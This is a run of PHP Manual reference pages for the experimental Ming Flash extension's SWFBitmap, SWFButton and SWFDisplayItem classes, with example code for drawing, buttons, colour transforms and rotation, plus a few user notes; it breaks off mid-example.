  • SWFBitmap::getHeight — Returns the bitmap's height
  • SWFBitmap::getWidth — Returns the bitmap's width

User Contributed Notes

david dot jiang at muchdj dot com 16-Sep-2009 06:36
I found a workaround for the load jpg problem for SWFBitmap.

Error message:

(Catchable fatal error: SWFMovie::save() [function.SWFMovie-save]: Initial Jpeg marker not found! in /loalhost/test/swfjpg/swfjpg.php on line 23
)

This doesnt work:

<?php
 $f = $s->addFill(new SWFBitmap( file_get_contents("image.jpg")));
?>

But this will works fine:

<?php
 $f = $s->addFill(new SWFBitmap((fopen('image.jpg','rb')));
?>


Loads Bitmap object

  • « SWFBitmap
  • SWFBitmap::getHeight »
  • PHP Manual
  • SWFBitmap
  • Loads Bitmap object

SWFBitmap::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFBitmap::__construct — Loads Bitmap object

Description

SWFBitmap::__construct ( mixed $file [, mixed $alphafile ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates the new SWFBitmap object from the given file.

Parameters

For both parameters you can provide a file pointer returned by fopen() or the image data, as a binary string.

file

Note:

We can only deal with baseline (frame 0) jpegs, no baseline optimized or progressive scan jpegs!

You can't import png images directly, though- have to use the png2dbl utility to make a dbl ("define bits lossless") file from the png. The reason for this is that I don't want a dependency on the png library in ming- autoconf should solve this, but that's not set up yet.

alphafile

An MSK file to be used as an alpha mask for a JPEG image.

Examples

Example #1 Importing a DBL file

<?php
$s = new SWFShape();
$f = $s->addFill(new SWFBitmap(file_get_contents("image.dbl")));
$s->setRightFill($f);

$s->drawLine(32, 0);
$s->drawLine(0, 32);
$s->drawLine(-32, 0);
$s->drawLine(0, -32);

$m = new SWFMovie();
$m->setDimension(32, 32);
$m->add($s);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

Example #2 Using an alpha mask

<?php

$s = new SWFShape();

// .msk file generated with "gif2mask" utility
$f = $s->addFill(new SWFBitmap(file_get_contents("alphafill.jpg"), file_get_contents("alphafill.msk")));
$s->setRightFill($f);

$s->drawLine(640, 0);
$s->drawLine(0, 480);
$s->drawLine(-640, 0);
$s->drawLine(0, -480);

$c = new SWFShape();
$c->setRightFill($c->addFill(0x99, 0x99, 0x99));
$c->drawLine(40, 0);
$c->drawLine(0, 40);
$c->drawLine(-40, 0);
$c->drawLine(0, -40);

$m = new SWFMovie();
$m->setDimension(640, 480);
$m->setBackground(0xcc, 0xcc, 0xcc);

// draw checkerboard background
for ($y=0; $y<480; $y+=40) {
  for ($x=0; $x<640; $x+=80) {
    $i = $m->add($c);
    $i->moveTo($x, $y);
  }

  $y+=40;

  for ($x=40; $x<640; $x+=80) {
    $i = $m->add($c);
    $i->moveTo($x, $y);
  }
}

$m->add($s);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the bitmap's height

  • « SWFBitmap::__construct
  • SWFBitmap::getWidth »
  • PHP Manual
  • SWFBitmap
  • Returns the bitmap's height

SWFBitmap::getHeight

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFBitmap::getHeight — Returns the bitmap's height

Description

float SWFBitmap::getHeight ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the bitmap's height.

Return Values

Returns the bitmap height in pixels.

See Also

  • SWFBitmap::getWidth() - Returns the bitmap's width

User Contributed Notes

There are no user contributed notes for this page.


Returns the bitmap's width

  • « SWFBitmap::getHeight
  • SWFButton »
  • PHP Manual
  • SWFBitmap
  • Returns the bitmap's width

SWFBitmap::getWidth

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFBitmap::getWidth — Returns the bitmap's width

Description

float SWFBitmap::getWidth ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the bitmap's width.

Return Values

Returns the bitmap width in pixels.

See Also

  • SWFBitmap::getHeight() - Returns the bitmap's height

User Contributed Notes

There are no user contributed notes for this page.


The SWFButton class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFButton.

Class synopsis

SWFButton {
/* Methods */
void addAction ( SWFAction $action , int $flags )
SWFSoundInstance addASound ( SWFSound $sound , int $flags )
void addShape ( SWFShape $shape , int $flags )
__construct ( void )
void setAction ( SWFAction $action )
void setDown ( SWFShape $shape )
void setHit ( SWFShape $shape )
void setMenu ( int $flag )
void setOver ( SWFShape $shape )
void setUp ( SWFShape $shape )
}

Table of Contents

  • SWFButton::addAction — Adds an action
  • SWFButton::addASound — Associates a sound with a button transition
  • SWFButton::addShape — Adds a shape to a button
  • SWFButton::__construct — Creates a new Button
  • SWFButton::setAction — Sets the action
  • SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)
  • SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)
  • SWFButton::setMenu — enable track as menu button behaviour
  • SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)
  • SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)

User Contributed Notes

There are no user contributed notes for this page.


Adds an action

  • « SWFButton
  • SWFButton::addASound »
  • PHP Manual
  • SWFButton
  • Adds an action

SWFButton::addAction

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::addAction — Adds an action

Description

void SWFButton::addAction ( SWFAction $action , int $flags )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds the given action to the button for the given conditions.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

flags

The following flags are valid: SWFBUTTON_MOUSEOVER, SWFBUTTON_MOUSEOUT, SWFBUTTON_MOUSEUP, SWFBUTTON_MOUSEUPOUTSIDE, SWFBUTTON_MOUSEDOWN, SWFBUTTON_DRAGOUT and SWFBUTTON_DRAGOVER.

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

T_wigg 22-Sep-2003 06:41
I had a hard time finding a way to stop a sprite, so I figured I would post it.

     $button = new SWFButton();
     $button->addShape($box, SWFBUTTON_UP | SWFBUTTON_HIT | SWFBUTTON_OVER | SWFBUTTON_DOWN);
     $button->addAction(new SWFAction("
          setTarget('box');
          stop();
      "), SWFBUTTON_MOUSEUP);

     $item = $movie->add($button);

This works the same way with play();


Associates a sound with a button transition

  • « SWFButton::addAction
  • SWFButton::addShape »
  • PHP Manual
  • SWFButton
  • Associates a sound with a button transition

SWFButton::addASound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::addASound — Associates a sound with a button transition

Description

SWFSoundInstance SWFButton::addASound ( SWFSound $sound , int $flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Adds a shape to a button

  • « SWFButton::addASound
  • SWFButton::__construct »
  • PHP Manual
  • SWFButton
  • Adds a shape to a button

SWFButton::addShape

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::addShape — Adds a shape to a button

Description

void SWFButton::addShape ( SWFShape $shape , int $flags )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds the given shape to the button.

Parameters

shape

An SWFShape instance

flags

The following flags are valid: SWFBUTTON_UP, SWFBUTTON_OVER, SWFBUTTON_DOWN and SWFBUTTON_HIT.

SWFBUTTON_HIT isn't ever displayed, it defines the hit region for the button. That is, everywhere the hit shape would be drawn is considered a "touchable" part of the button.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new Button

  • « SWFButton::addShape
  • SWFButton::setAction »
  • PHP Manual
  • SWFButton
  • Creates a new Button

SWFButton::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::__construct — Creates a new Button

Description

SWFButton::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new Button.

Examples

This simple example will show your usual interactions with buttons : rollover, rollon, mouseup, mousedown, noaction.

Example #1 Usual interactions with buttons

<?php

$f = new SWFFont("_serif");

$p = new SWFSprite();

function label($string)
{
  global $f;

  $t = new SWFTextField();
  $t->setFont($f);
  $t->addString($string);
  $t->setHeight(200);
  $t->setBounds(3200, 200);
  return $t;
}

function addLabel($string)
{
  global $p;

  $i = $p->add(label($string));
  $p->nextFrame();
  $p->remove($i);
}

$p->add(new SWFAction("stop();"));
addLabel("NO ACTION");
addLabel("SWFBUTTON_MOUSEUP");
addLabel("SWFBUTTON_MOUSEDOWN");
addLabel("SWFBUTTON_MOUSEOVER");
addLabel("SWFBUTTON_MOUSEOUT");
addLabel("SWFBUTTON_MOUSEUPOUTSIDE");
addLabel("SWFBUTTON_DRAGOVER");
addLabel("SWFBUTTON_DRAGOUT");

function rect($r, $g, $b)
{
  $s = new SWFShape();
  $s->setRightFill($s->addFill($r, $g, $b));
  $s->drawLine(600, 0);
  $s->drawLine(0, 600);
  $s->drawLine(-600, 0);
  $s->drawLine(0, -600);

  return $s;
}

$b = new SWFButton();
$b->addShape(rect(0xff, 0, 0), SWFBUTTON_UP | SWFBUTTON_HIT);
$b->addShape(rect(0, 0xff, 0), SWFBUTTON_OVER);
$b->addShape(rect(0, 0, 0xff), SWFBUTTON_DOWN);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(1);"),
          SWFBUTTON_MOUSEUP);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(2);"),
      SWFBUTTON_MOUSEDOWN);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(3);"),
      SWFBUTTON_MOUSEOVER);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(4);"),
      SWFBUTTON_MOUSEOUT);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(5);"),
      SWFBUTTON_MOUSEUPOUTSIDE);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(6);"),
      SWFBUTTON_DRAGOVER);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(7);"),
      SWFBUTTON_DRAGOUT);

$m = new SWFMovie();
$m->setDimension(4000, 3000);

$i = $m->add($p);
$i->setName("label");
$i->moveTo(400, 1900);

$i = $m->add($b);
$i->moveTo(400, 900);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

This simple example will enables you to drag draw a big red button on the windows. No drag-and-drop, just moving around.

Example #2 Drag example

<?php

$s = new SWFShape();
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->drawLine(1000,0);
$s->drawLine(0,1000);
$s->drawLine(-1000,0);
$s->drawLine(0,-1000);

$b = new SWFButton();
$b->addShape($s, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);

$b->addAction(new SWFAction("startDrag('/test', 0);"), // '0' means don't lock to mouse
      SWFBUTTON_MOUSEDOWN);

$b->addAction(new SWFAction("stopDrag();"),
      SWFBUTTON_MOUSEUP | SWFBUTTON_MOUSEUPOUTSIDE);

$p = new SWFSprite();
$p->add($b);
$p->nextFrame();

$m = new SWFMovie();
$i = $m->add($p);
$i->setName('test');
$i->moveTo(1000,1000);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the action

  • « SWFButton::__construct
  • SWFButton::setDown »
  • PHP Manual
  • SWFButton
  • Sets the action

SWFButton::setAction

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setAction — Sets the action

Description

void SWFButton::setAction ( SWFAction $action )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the action to be performed when the button is clicked.

This is a shortcut for SWFButton::addAction() called with the SWFBUTTON_MOUSEUP flag.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

Return Values

No value is returned.

See Also

  • SWFButton::addAction() - Adds an action
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


Alias for addShape(shape, SWFBUTTON_DOWN)

  • « SWFButton::setAction
  • SWFButton::setHit »
  • PHP Manual
  • SWFButton
  • Alias for addShape(shape, SWFBUTTON_DOWN)

SWFButton::setDown

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)

Description

void SWFButton::setDown ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setdown() alias for addShape(shape, SWFBUTTON_DOWN).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


Alias for addShape(shape, SWFBUTTON_HIT)

  • « SWFButton::setDown
  • SWFButton::setMenu »
  • PHP Manual
  • SWFButton
  • Alias for addShape(shape, SWFBUTTON_HIT)

SWFButton::setHit

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)

Description

void SWFButton::setHit ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::sethit() alias for addShape(shape, SWFBUTTON_HIT).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


enable track as menu button behaviour

  • « SWFButton::setHit
  • SWFButton::setOver »
  • PHP Manual
  • SWFButton
  • enable track as menu button behaviour

SWFButton::setMenu

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setMenu — enable track as menu button behaviour

Description

void SWFButton::setMenu ( int $flag )
Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

This parameter can be used for a slight different behavior of buttons. You can set it to 0 (off) or 1 (on).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Alias for addShape(shape, SWFBUTTON_OVER)

  • « SWFButton::setMenu
  • SWFButton::setUp »
  • PHP Manual
  • SWFButton
  • Alias for addShape(shape, SWFBUTTON_OVER)

SWFButton::setOver

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)

Description

void SWFButton::setOver ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setover() alias for addShape(shape, SWFBUTTON_OVER).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


Alias for addShape(shape, SWFBUTTON_UP)

  • « SWFButton::setOver
  • SWFDisplayItem »
  • PHP Manual
  • SWFButton
  • Alias for addShape(shape, SWFBUTTON_UP)

SWFButton::setUp

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)

Description

void SWFButton::setUp ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setup() alias for addShape(shape, SWFBUTTON_UP).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


The SWFDisplayItem class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFDisplayItem.

Class synopsis

SWFDisplayItem {
/* Methods */
void addAction ( SWFAction $action , int $flags )
void addColor ( int $red , int $green , int $blue [, int $a ] )
void endMask ( void )
float getRot ( void )
float getX ( void )
float getXScale ( void )
float getXSkew ( void )
float getY ( void )
float getYScale ( void )
float getYSkew ( void )
void move ( float $dx , float $dy )
void moveTo ( float $x , float $y )
void multColor ( float $red , float $green , float $blue [, float $a ] )
void remove ( void )
void rotate ( float $angle )
void rotateTo ( float $angle )
void scale ( float $dx , float $dy )
void scaleTo ( float $x [, float $y ] )
void setDepth ( int $depth )
void setMaskLevel ( int $level )
void setMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
void setName ( string $name )
void setRatio ( float $ratio )
void skewX ( float $ddegrees )
void skewXTo ( float $degrees )
void skewY ( float $ddegrees )
void skewYTo ( float $degrees )
}

Table of Contents

  • SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance
  • SWFDisplayItem::addColor — Adds the given color to this item's color transform
  • SWFDisplayItem::endMask — Another way of defining a MASK layer
  • SWFDisplayItem::getRot — Description
  • SWFDisplayItem::getX — Description
  • SWFDisplayItem::getXScale — Description
  • SWFDisplayItem::getXSkew — Description
  • SWFDisplayItem::getY — Description
  • SWFDisplayItem::getYScale — Description
  • SWFDisplayItem::getYSkew — Description
  • SWFDisplayItem::move — Moves object in relative coordinates
  • SWFDisplayItem::moveTo — Moves object in global coordinates
  • SWFDisplayItem::multColor — Multiplies the item's color transform
  • SWFDisplayItem::remove — Removes the object from the movie
  • SWFDisplayItem::rotate — Rotates in relative coordinates
  • SWFDisplayItem::rotateTo — Rotates the object in global coordinates
  • SWFDisplayItem::scale — Scales the object in relative coordinates
  • SWFDisplayItem::scaleTo — Scales the object in global coordinates
  • SWFDisplayItem::setDepth — Sets z-order
  • SWFDisplayItem::setMaskLevel — Defines a MASK layer at level
  • SWFDisplayItem::setMatrix — Sets the item's transform matrix
  • SWFDisplayItem::setName — Sets the object's name
  • SWFDisplayItem::setRatio — Sets the object's ratio
  • SWFDisplayItem::skewX — Sets the X-skew
  • SWFDisplayItem::skewXTo — Sets the X-skew
  • SWFDisplayItem::skewY — Sets the Y-skew
  • SWFDisplayItem::skewYTo — Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.


Adds this SWFAction to the given SWFSprite instance

  • « SWFDisplayItem
  • SWFDisplayItem::addColor »
  • PHP Manual
  • SWFDisplayItem
  • Adds this SWFAction to the given SWFSprite instance

SWFDisplayItem::addAction

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance

Description

void SWFDisplayItem::addAction ( SWFAction $action , int $flags )
Warning

This function is currently not documented; only its argument list is available.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

flags

Return Values

No value is returned.

See Also

  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.


Adds the given color to this item's color transform

  • « SWFDisplayItem::addAction
  • SWFDisplayItem::endMask »
  • PHP Manual
  • SWFDisplayItem
  • Adds the given color to this item's color transform

SWFDisplayItem::addColor

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::addColor — Adds the given color to this item's color transform

Description

void SWFDisplayItem::addColor ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::addcolor() adds the color to this item's color transform. The color is given in its RGB form.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Another way of defining a MASK layer

  • « SWFDisplayItem::addColor
  • SWFDisplayItem::getRot »
  • PHP Manual
  • SWFDisplayItem
  • Another way of defining a MASK layer

SWFDisplayItem::endMask

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::endMask — Another way of defining a MASK layer

Description

void SWFDisplayItem::endMask ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::endMask
  • SWFDisplayItem::getX »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getRot

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getRot —

Description

float SWFDisplayItem::getRot ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getRot
  • SWFDisplayItem::getXScale »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getX

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getX —

Description

float SWFDisplayItem::getX ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getY() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getX
  • SWFDisplayItem::getXSkew »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getXScale

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getXScale —

Description

float SWFDisplayItem::getXScale ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getYScale() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getXScale
  • SWFDisplayItem::getY »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getXSkew

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getXSkew —

Description

float SWFDisplayItem::getXSkew ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getYSkew() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getXSkew
  • SWFDisplayItem::getYScale »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getY

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getY —

Description

float SWFDisplayItem::getY ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getX() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getY
  • SWFDisplayItem::getYSkew »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getYScale

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getYScale —

Description

float SWFDisplayItem::getYScale ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getXScale() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFDisplayItem::getYScale
  • SWFDisplayItem::move »
  • PHP Manual
  • SWFDisplayItem
  • Description

SWFDisplayItem::getYSkew

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getYSkew —

Description

float SWFDisplayItem::getYSkew ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getXSkew() - Description

User Contributed Notes

There are no user contributed notes for this page.


Moves object in relative coordinates

  • « SWFDisplayItem::getYSkew
  • SWFDisplayItem::moveTo »
  • PHP Manual
  • SWFDisplayItem
  • Moves object in relative coordinates

SWFDisplayItem::move

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::move — Moves object in relative coordinates

Description

void SWFDisplayItem::move ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::move() moves the current object by (dx,dy) from its current position.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::moveTo() - Moves object in global coordinates

User Contributed Notes

There are no user contributed notes for this page.


Moves object in global coordinates

  • « SWFDisplayItem::move
  • SWFDisplayItem::multColor »
  • PHP Manual
  • SWFDisplayItem
  • Moves object in global coordinates

SWFDisplayItem::moveTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::moveTo — Moves object in global coordinates

Description

void SWFDisplayItem::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::moveto() moves the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::move() - Moves object in relative coordinates

User Contributed Notes

There are no user contributed notes for this page.


Multiplies the item's color transform

  • « SWFDisplayItem::moveTo
  • SWFDisplayItem::remove »
  • PHP Manual
  • SWFDisplayItem
  • Multiplies the item's color transform

SWFDisplayItem::multColor

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::multColor — Multiplies the item's color transform

Description

void SWFDisplayItem::multColor ( float $red , float $green , float $blue [, float $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::multcolor() multiplies the item's color transform by the given values.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Parameters

These parameters are floats between 0.0 and 1.0:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

Examples

This simple example will modify your picture's atmosphere to Halloween (use a landscape or bright picture).

Example #1 swfdisplayitem::multcolor() example

<?php

$b = new SWFBitmap(file_get_contents("backyard.jpg"));
// note use your own picture :-)
$s = new SWFShape();
$s->setRightFill($s->addFill($b));
$s->drawLine($b->getWidth(), 0);
$s->drawLine(0, $b->getHeight());
$s->drawLine(-$b->getWidth(), 0);
$s->drawLine(0, -$b->getHeight());

$m = new SWFMovie();
$m->setDimension($b->getWidth(), $b->getHeight());

$i = $m->add($s);

for ($n=0; $n<=20; ++$n) {
  $i->multColor(1.0-$n/10, 1.0, 1.0);
  $i->addColor(0xff*$n/20, 0, 0);
  $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

Anonymous 19-Aug-2009 11:15
Hey, this is a great function that I spent a lot of time looking for.

What is it great for? Fading. It gives you the ability to fade any supported object (including images) totally or even specific color channels.

The project I am working on requires a series of images and backgrounds to fade into each other. As a bit of a noob, I found the doc here and it's example a little confusing.

I thought that to provide a value for a color channel would change it, but it doesn't.

To say, just change the alpha channel value, you can write it like this

<?php
$movie=new SWFMovie();
$movie->setDimension(700,150);
$movie->setBackground(0,255,255);

// image to add to movie
$img="images/example.jpg";

// add it image to movie and fade its alpha channel
$png = new SWFBitmap(fopen($img,"rb"));
$f1 = $movie->add($png);

$f1->multColor(1,1,1,0.5);
?>

This code will load the image and give it s 50% transperancy.

Similarly, one can fade a single color channel by reducing the value for that specific channel.

<?php
$ft->multColor(0.5,1,1);
?>

This makes the red channel (remember rgb) 50% transparent. You can put a 0 there to completely remove the red channel.

Hope this helps any fellow noobs trying to figure out ming out there.


Removes the object from the movie

  • « SWFDisplayItem::multColor
  • SWFDisplayItem::rotate »
  • PHP Manual
  • SWFDisplayItem
  • Removes the object from the movie

SWFDisplayItem::remove

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::remove — Removes the object from the movie

Description

void SWFDisplayItem::remove ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::remove() removes this object from the movie's display list.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFMovie::add() - Adds any type of data to a movie

User Contributed Notes

There are no user contributed notes for this page.


Rotates in relative coordinates

  • « SWFDisplayItem::remove
  • SWFDisplayItem::rotateTo »
  • PHP Manual
  • SWFDisplayItem
  • Rotates in relative coordinates

SWFDisplayItem::rotate

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::rotate — Rotates in relative coordinates

Description

void SWFDisplayItem::rotate ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::rotate() rotates the current object by angle degrees from its current rotation.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::rotateTo() - Rotates the object in global coordinates

User Contributed Notes

alan_k at hklc dot com 31-Jul-2001 05:01
if you are looking to place 'rotated text' (not animated)
create the text without a location
then add it to the movie
$di = $movie->add($my_text_object);
then move and rotate the result.
$di->moveto($x,$y);
$di->rotate(90);


Rotates the object in global coordinates

  • « SWFDisplayItem::rotate
  • SWFDisplayItem::scale »
  • PHP Manual
  • SWFDisplayItem
  • Rotates the object in global coordinates

SWFDisplayItem::rotateTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::rotateTo — Rotates the object in global coordinates

Description

void SWFDisplayItem::rotateTo ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::rotateto() set the current object rotation to angle degrees in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Examples

This example bring three rotating string from the background to the foreground. Pretty nice.

Example #1 swfdisplayitem::rotateto() example

<?php
$thetext =  "ming!";

$f = new SWFFont("Bauhaus 93.fdb");

$m = new SWFMovie();
$m->setRate(24.0);
$m->setDimension(2400, 1600);
$m->setBackground(0xff, 0xff, 0xff);

// functions with huge numbers of arbitrary
// arguments are always a good idea!  Really!

function text($r, $g, $b, $a, $rot, $x, $y, $scale, $string)
{
  global $f, $m;

  $t = new SWFText();
  $t->setFont($f);
  $t->setColor($r, $g, $b, $a);
  $t->setHeight(960);
  $t->moveTo(-($f->getWidth($string))/2, $f->getAscent()/2);
  $t->addString($string);

  // we can add properties just like a normal PHP var,
  // as long as the names aren't already used.
  // e.g., we can't set $i->scale, because that's a function

  $i = $m->add($t);
  $i->x = $x;
  $i->y = $y;
  $i->rot = $rot;
  $i->s = $scale;
